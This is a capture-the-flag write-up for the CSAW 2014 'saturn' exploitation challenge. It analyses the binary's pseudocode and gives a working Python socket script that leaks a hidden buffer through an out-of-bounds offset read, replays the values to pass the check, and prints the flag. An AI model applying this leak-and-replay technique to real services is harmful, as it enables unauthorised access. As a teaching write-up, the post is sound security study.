Hacking Tube

CSAW CTF 2014 -- Exploitation 400 saturn

| Comments

First the challenge gave us a binary file (ELF for Intel-386). But we can't execute it, cause we don't have the required shared library "libchallengeresponse.so". So we will have to launch IDA Pro to see what's going on within the program.

After analyzing the program ( praise the powerful F5 key! ) , I collected the following information:

Main function

main_function_psuedo_code
int main()
{
  puts("CSAW ChallengeResponseAuthenticationProtocol Flag Storage");
  
  for ( i = 0; i <= 0; ++i )
  {
    v0 = read_one_byte();
    v3 = v0;
    v1 = v0 & 0xF0;
    switch ( v1 )
    {
      case 160: //0xA0
        functionA(v3);
        i -= 2;
        break;
      case 224: //0xE0
        functionB(v3);
        i -= 2;
        break;
      case 128: //0x80
        functionC();
        break;
    }
  }
  return 0;
}

As we can see, the main function will read a byte from the user input, and do the & operation. v1 will hold the result, and a switch-case condition will decide which function to run next, base on v1's value.

So basically, we can summarize that the main function will only accept 3 kinds of input: 0xA0 ~ 0xAF, 0xE0 ~ 0xEF and 0x80 ~ 0x8F. Now let's take a good look at those functions.

functionA

functionA_psuedo_code
functionA (char a1)
{
    int v2; 
    v2 = *((int *)bufferA + (a1 & 0xF));

    print_four_char_which_store_in_v2();
}

In functionA, we found a bufferA, which start from a specific address. functionA will take the original input (a byte value) as the parameter, extract its last 4 bit, take it as the offset from bufferA and calculate the position's address. Then, v2 will store a 4 bytes value, start from the new address in bufferA. At last the function will print out 4 char (= 4 byte) which was stored in v2.

Note that if the offset is 0x1, the new address will start from bufferA + 4, if the offset is 0x2, the new address will start from bufferA + 8...and so on (basic knowledge of pointer).

functionB

functionB_psuedo_code
functionB (char a1)
{
    offser = a1 & 0xF
  
    v4 = *((int *)bufferB + offset);
    read_four_byte_from_input(v5);
  
    if ( v5 != v4 )
        exit(0);
  
    bufferC[offset] = 1;
}

In functionB, we found bufferB and bufferC , both start from a specific address. Like functionA, functionB also take the original input (a byte value) as the parameter, extract its last 4 bit and take it as a offset. But there's a slight difference. In functionB, v4 will store a 4 bytes value, start from the new position in bufferB, while another variable v5 also read a 4 bytes value from the user input and hold its value. Then, the function will compare these two value, if they are the same, it will store value 1 in bufferC, the position is also base on the offset's value.

So, if the user input is 0xE4, offset will store the value 4, v4 will store the value bufferB + 16 ~ bufferB + 20, v5 will read another 4 bytes from user input. If v4 == v5, then bufferC[4] will store the value 1

functionC

functionC_psuedo_code
functionC()
{
    v6 = 1;
    
    for( i = 0 ; i <= 7 ; i++ )
    {
        v6 *= bufferC[i]
    }
  
    if (v6 == 0)
        exit(0);   
    else
        print_flag()
}

functionC is quite simple. It just calculate the factorial of all the values stored in bufferC. If the result isn't 0, it will print out the flag, or else it will terminate the program.

So, to sum up all the functions mentioned previously and how are we going to exploit:
1. use functionA to get all the values stored in bufferB (use IDA pro to check the offset between bufferA and bufferB, the offset is 32 (0x20) )
2. use functionB to overwrite the value in bufferC, in order to pass the checking function functionC
3. use functionC to get the flag

But here is the tricky part: the values stored in bufferB are not fixed.
So, I finally decided to write a python script to solve the challenge.

saturn.py
from socket import *
from struct import *
 
sock = socket(AF_INET, SOCK_STREAM) #create socket (IP, TCP)

sock.connect(("54.85.89.65" , 8888))

print sock.recv(1024) #recv the title


"""
arr: inputs for getting bufferB's value
arr2: inputs for modifying bufferC's value
int_send: for storing the content of bufferB
"""

arr = ['\xA8', '\xA9','\xAA','\xAB','\xAC','\xAD','\xAE','\xAF']
arr2 = ['\xE0', '\xE1','\xE2','\xE3','\xE4','\xE5','\xE6','\xE7']
int_send = []

for c in arr:
    sock.send(c)
    data = sock.recv(4) #recv 4 bytes

    d = unpack("<I", data)[0] #unpack as an unsigned integer, little-endian format 

    int_send.append(d) # store the bufferB's value


send_cnt = 0

for i in int_send:
    sock.send(arr2[send_cnt]);
    sock.send(pack("<I",(i & 0xFFFFFFFF))) # force format to 32bit

    send_cnt += 1

sock.send('\x80') #get flag

print sock.recv(1024) #print flag

sock.close()  

the flag: flag{greetings_to_pure_digital}

Comments

comments powered by Disqus